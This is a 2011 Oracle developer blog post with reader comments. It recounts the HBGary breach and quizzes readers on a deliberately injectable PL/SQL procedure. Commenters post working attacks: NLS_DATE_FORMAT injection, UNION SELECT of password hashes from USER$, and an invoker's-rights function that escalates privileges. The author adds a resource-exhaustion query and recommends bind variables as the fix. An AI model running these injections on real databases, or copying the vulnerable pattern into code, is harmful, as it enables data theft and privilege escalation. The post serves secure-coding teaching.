Wednesday, February 16, 2011

An Interesting Read...

I found this article on the 'security' firm HBGary to be very interesting.

They were brought down by 'Anonymous' recently, in a completely embarrassing fashion (for a security firm, for sure).

What I found most interesting was how it all started and how easy it was....

It all started with a simple SQL Injection attack on their custom Content Management System (CMS). By finding a small exploit in that application, they gained access to the usernames and hashed passwords. Since the hashed passwords were neither salted, nor exceptionally well hashed - simple rainbow tables were used to figure out the (simple) passwords of a few power users. Once they had the passwords to the CMS - they then discovered some power users (at a security firm) liked to reuse their passwords over and over on many systems. That fact in turn gave them access to their email - where they discovered yet more passwords (sent in emails) - including the root password to a powerful internal machine. Given that information - and improper ssh configuration - they were able to "socially engineer" (over email) remote access to this machine - to which they now had root... And that was the end of that.

An internet security firm - brought down - by not following the most *basic* of security principals.

And all because of - SQL Injection... If you don't use bind variables - you are susceptible to it. If you accept input from an end user and concatenate it into your SQL, you are subject to SQL Injection. If you use bind variables - if you do not dynamically construct your SQL at runtime - you are not subject to it. It is that simple.

I say this a lot:
"it is much harder to write code that doesn't use binds than it is to write code that uses binds".
To which I get a lot of confused stares - for all of the developers "know" that if they use binds - they have to write MORE code - not less. And MORE = harder -right?

Wrong, 100% wrong. If you do not use binds, you have to write more code than if you use them. The code you have to write is the code to ensure with 100% degree of certainty that your inputs from the end user are valid, are safe, will not subject you to SQL Injection. And that is non-trivial. The real kicker is - after you write that code - you better submit it for review to at least five people that do not like you (that last bit is important). They have to be SUPER critical of the code and subject it to rigorous review.

As a quick test - see if you can

  1. determine how the following bit of code can be attacked
  2. what might be the outcome of this attack - what might be compromised on your server if this code were attacked, what could they do with it?
  3. how to best protect against that attack
  4. how else - short of the "best" - would you protect against the attack

create or replace procedure inj( p_date in date )
as
l_rec all_users%rowtype;
c sys_refcursor;
l_query long;
begin
l_query := '
select *
from all_users
where created = ''' ||p_date ||'''';

dbms_output.put_line( l_query );
open c for l_query;

for i in 1 .. 5
loop
fetch c into l_rec;
exit when c%notfound;
dbms_output.put_line( l_rec.username || '.....' );
end loop;
close c;
end;
I'll post my answers to 1-4 tomorrow or the next day.

Think about it - how many of the developers you work with would even know that bit of code was easily attacked? Not many in my experience (I wouldn't have seen it right off until just a few years ago by the way - no magic here...)
POST A COMMENT

24 Comments:

Anonymous Anonymous said....

Changing nls_date_format to include "OR" condition (with always true e.g. '1'='1') should be enough to break this code.
SQL> exec inj(sysdate);

select *
from all_users
where created = '16-FEB-11'

PL/SQL procedure successfully completed.

SQL> alter session set nls_date_format='DD "''or ''1''=''1"';

Session altered.

SQL> exec inj(sysdate);

select *
from all_users
where created = '16 'or '1'='1'
FLASH2.....
FLASH.....
MGMT_VIEW.....
SYSMAN.....
MANOJ.....

PL/SQL procedure successfully completed.

SQL>

Wed Feb 16, 08:52:00 AM EST  

Blogger Tom said....

I agree with the above, but replace the 'or 1=1' with 'union ...' and the attacker can see any data available to this process.

The best way to protect the code would be to not use dynamic sql, or if you had to then use bind variables properly and explicit datatype conversions.

create or replace procedure inj( p_date in date )
as
l_rec all_users%rowtype;
c sys_refcursor;
l_query long;
begin
l_query := '
select *
from all_users
where trunc(created) = to_date(:1, ''mm/dd/yyyy'')';

dbms_output.put_line( l_query );
open c for l_query using to_char(p_date, 'mm/dd/yyyy');

for i in 1 .. 5
loop
fetch c into l_rec;
exit when c%notfound;
dbms_output.put_line( l_rec.username || '.....' );
end loop;
close c;
end;

Wed Feb 16, 12:11:00 PM EST  

Blogger Vladimir M. Zakharychev said....

Indeed, this code is easily attacked via NLS_DATE_FORMAT, but ONLY if you have the ALTER SESSION privilege, right...? Wrong! Just set your NLS_DATE_FORMAT environment variable to the desired string before connecting and Oracle Client will set session NLS parameters on your behalf even if you don't have the privilege.

Wed Feb 16, 12:44:00 PM EST  

Blogger Flado said....

1.
a) aLter session set nLs_date_format='"''or 1=1--';
(as Anonymous pointed out) will list 5 usernames. Add an 'order by dbms_random.value' before the dashes to get a random set of five. Repeat until satisfied.
Use 'order by 1 asc/desc' to get the first/last 5 alphabetically.
Use 'order by 3' to get the ones created with the database - telling you which standard passwords to try.
b) aLter session set nLs_date_format='"''Union seLect password,1,ctime from User$--"';
on the odd chance that the owner of the procedure is SYS
c) aLter session set nLs_date_format='"''Union seLect func,1,to_date('''') from dUaL--"';
assuming there is a function named func which you want to run as the owner of the procedure.
These are the ones I could come with.
This would have been much more fun if it wasn't for ORA-01801: date format is too long for internal buffer

2. See 1. It depends - if the owner is SYS I could get password hashes and all kinds of data from the dictionary tables (which have short names, thankfully) and run functions with side effects...
3. use static SQL
4. In order of preference:
a) use dynamic SQL with binds
b) use explicit conversion, as in
'...
created = to_date('''||to_char(p_date,'RRRRMMDD')||''',''RRRRMMDD'')';

Cheers!
Flado

Wed Feb 16, 12:57:00 PM EST  

Blogger Thomas Kyte said....

@Vladimir

you do not need alter session for setting your NLS_DATE_FORMAT - you only need alter session for "powerful" things like "sql_trace=true", but not for nls_date_formats!

Wed Feb 16, 01:03:00 PM EST  

Blogger Vladimir M. Zakharychev said....

@Thomas Kyte
Overlooked that, thanks.

Wed Feb 16, 01:50:00 PM EST  

Blogger Flado said....

I thought of another possible attack - what if I were to create a function in my own schema with invoker's rights, then have the procedure call it directly or via a short public synonym (see my 1. c) above) - I could do anythig in that function, using dynamic SQL, as the owner of the procedure :-)
I'm away from a database right now, so I cannot test that approach, sorry.

Cheers!
Flado

Wed Feb 16, 02:01:00 PM EST  

Blogger Flado said....

Yes, it works. Running these as "baduser" allows it to do anythnig that the owner of the INJ procedure can (in the example, list the objects owned by injuser):
create or replace function func return varchar2 authid current_user is
x sys_refcursor;
l_oname varchar2(4000);
begin
open x for 'select object_name from user_objects';
loop
exit when x%NotFound;
fetch x into l_oname;
dbms_output.put_line(l_oname||'<<<<');
end loop;
return 'Gotcha!';
end;
/
grant execute on func to injuser;
aLter session set nls_date_format='"''or(select baduser.func from dual)=''--"';
exec injuser.inj(sysdate)

So, with nothing more than "create session", "create procedure" and "execute on injuser.inj", a bad user can escalate its privileges to these of the owner of the vulnerable procedure.
Wow.

Thu Feb 17, 07:09:00 AM EST  

Anonymous Lazer epilasyon Adana said....

What’s Infobright’s sync behaviour? If it forces sync after each transaction (as is the default setting in InnoDB), then that could be rather slow on an Amazon machine if the transactions are small or implicit; Amazon’s service doesn’t deal with high IO rates too well.

Fri Feb 18, 09:29:00 AM EST  

Anonymous Anonymous said....

Tom,

With regard to the alter session permissions, don't you think parallel operations should be classified in that dangerous category of stuff you need grants for? As you and John have written, parallelism is by definition non-scalable. Someone could bring a machine to it's knees just by being able to connect/select.

-Alex

Fri Feb 18, 01:42:00 PM EST  

Blogger Thomas Kyte said....

@Alex

all i need is create session and I can bring a system to its knees.

I'll just fire off select count(*) from all_objects, all_objects, all_objects, all_objects, all_objects, all_objects, all_objects, all_objects, all_objects, all_objects;

20 times and go home.


You have the resource manager to combat this - it is about resource management.

Fri Feb 18, 01:44:00 PM EST  

Anonymous Anonymous said....

Really? From my experience Oracle is really good about managing resources across sessions. I thought the whole dedicated server process thing kept what you're suggesting from happening (for the most part, I've seen 6 horrifying Hyperion reports simultaneously hose a database).

-Alex

Fri Feb 18, 02:20:00 PM EST  

Blogger Thomas Kyte said....

@Alex

we are good about managing resources IF you use the resource manager - and that would encompass the parallel sessions as well.

those 20 sessions I said I'd fire off are worse than your six most horrifying Hyperion reports :) But your accounting of the six Hyperion reports is exactly what I was trying to describe - you don't need parallel to crush a machine

Fri Feb 18, 03:04:00 PM EST  

Blogger Flado said....

This comment has been removed by the author.

Fri Feb 18, 03:13:00 PM EST  

Blogger Thomas Kyte said....

When I said I'd fire it off 20 times, I meant 20 concurrent times - I was going to run 20 of them at the same time. Sorry for the confusion

Fri Feb 18, 03:15:00 PM EST  

Blogger Flado said....

Well, I guess I'll have to explain the deleted post now - I only wrote it because I overlooked the "20 times" part. Re-reading after I posted showed how irrelevant my comment has been so I deleted it. My bad. Sorry about that.

Fri Feb 18, 07:17:00 PM EST  

Blogger al0 said....

A lot of fuss for nothing.
The rule is very simple - if you do not use bind variables just properly quote data that you concatenate in your statement ("properly" here means duplicate quotes inside that data - no rocket science).

Mon Feb 21, 05:51:00 PM EST  

Blogger Thomas Kyte said....

@alo

you must not have read this article - there was nothing to "quote" in the above. there is more than one way to sql inject.

Also, it isn't as easy as you say - which sort of proves the POINT.

Say in the application you have:

select * from t where x = &1

and you will be concatenating in a supplied value for &1 (x is a number by the way)


And I send to you value "10"

where x = 10

perfect. But then I send to you the value "my_schema.my_function_that_returns_a_number"

now you get

where x = my_schema.my_function...


and my_function is something I wrote, similar to:

http://tkyte.blogspot.com/2011/02/interesting-read-followup.html


If you think that by simply quoting strings you have solved the problem - you are being naive and are part of the problem. There are two examples right here that show it isn't that straight forward.


Now, challenge to you - show me how you can sql inject while using binds (you cannot - you would not be able to show such an example) - whereas I just gave you two examples whereby your "quote the inputs" (the input was a date - nothing to be "quoted", the input was a owner.function - nothing to be quoted - the inputs DOES NOT NEED to contain quotes to be dangerous....)


Fact is: if you do not use binds, you are subject to sql injection attacks - and your code must be inspected infinitely more closely than code that uses binds - and must be inspected by people that don't trust you at all as a coder so they do it critically.

If avoiding sql injection was so trivial as you make it to be - why is it the #1 one to attack an application???

Mon Feb 21, 11:26:00 PM EST  

Blogger al0 said....

Yes, input does not need to contain quotes - but if I always quote input (and quote it correctly) it always will be a string literal concatenated into my statement.
So I do not care if it is a name of the user-written function or whatever else - as it will be treated as literal and the function never would be called.

It is a number? No problem, I anyway concatenate it as a string literal. In the worst case I would have the invalid number exception - but no security breach. Dates as well make no difference.

I agree that in most cases bind variables are better solution - but not always

Tue Feb 22, 07:25:00 AM EST  

Blogger Thomas Kyte said....

I anyway concatenate it as a string literal.

ugh, that is just about the ugliest thing I've heard. Implicit conversions all over the place - or you force the need to code explicit conversions everywhere.

Which just makes is "plain harder and harder"

And you have to make sure you do it right every single time - from start to finish.

And you have to still have your code picked over - time after time - just to make sure.

Which makes me really wonder "why, why would anyone pick a method that is subject to attack, that must be carefully coded around - instead of the simple, scalable, secure, bullet proof approach?"

Really makes me wonder.


All in all - the number of breaches would drop by an incredible amount - if people just used the simple, safe, secure, performant, straight forward approach.

Tue Feb 22, 09:55:00 AM EST  

Blogger al0 said....

As for conversions - yes, you are right. but conversions should be explicit anyway. Moreover, if an application runs in a predefined, well-controlled environment it may even rely on implicit conversions.

And you have to make sure you do it right every single time
No, once only - have you ever heard about AOP?

And yes, I agree (as I have already written) that bind variables should be a method of choice - when possible. The problem is that in many cases you need to add conditions dynamically (yes, sometimes you may avoid it because optimizer would be to exclude some conditions - but sometimes is not always).

Tue Feb 22, 10:19:00 AM EST  

Blogger Thomas Kyte said....

@alo

what I'm specifically taking issue with here is your original post:

A lot of fuss for nothing.
The rule is very simple - if you do not use bind variables just properly quote data that you concatenate in your statement ("properly" here means duplicate quotes inside that data - no rocket science).


It is a lot of fuss for SOMETHING.

It is important.

You came and made it sound like "don't bind, just quote"

When just quoting is only 1% of the story. You make assumptions - such as "all developers are as diligent as I", "all developers are as aware of the issue as I", "all of the developers use the same methodologies as I"

And worst of all - it isn't just "duplicate quotes", there was much left unsaid - such as

o all literals will always be strings - because it doesn't work otherwise (you are forcing a style on your sql coding - a rather 'different' one)

o you must explicitly code all conversions (which gets you into QUOTE HELL -

string = string || 'to_number( ' || magicquotefunction(user_input) || ', ''9999.99'' ) ';

and the like...

o you must use a methodology that 100% of the time ensures that you always use this 'technique'



rather than just

o use binds, use whatever native datatype makes sense, use native straight sql - with or without conversions as needed.


Only why you need to use a literal - such as in a data warehouse application, an infrequently executed report - should you consider not binding - and then that code should be reviewed by five people that don't trust you - because we all make mistakes - no matter how good you are.

Tue Feb 22, 11:24:00 AM EST  

Blogger al0 said....

if you do not use bind variables
does not mean do not use bind variables.
An intended meaning was if you for some compelling reason do not use bind variables. Sorry for not making it more explicit.

And yes, the danger of SQL-injection is (from my point of view) highly overestimated, it can countered be quite easily, this why I said nothing.

And you as well make assumptions - bind variables cover 100% of cases (nope - 95% or even 98%, but not 100%). And my post was for these 2% or 5% of cases - as previous discussion gave an (false) impression that bind variables is the only solutions and if you do not use them (does not matter, why) you are completely vulnerable.

Tue Feb 22, 11:58:00 AM EST  

Anonymous Anonymous said....

To be honest I think that these sort of vulnerabilities are always going to be abundant. I think that the general quality of IT 'professionals' is so low that there is zero chance of ever eradicating sql injection vulnerabilities. The BBC carried a story about an attack today ...

http://www.bbc.co.uk/news/technology-12933053

Sun Apr 03, 02:38:00 PM EDT  

POST A COMMENT

<< Home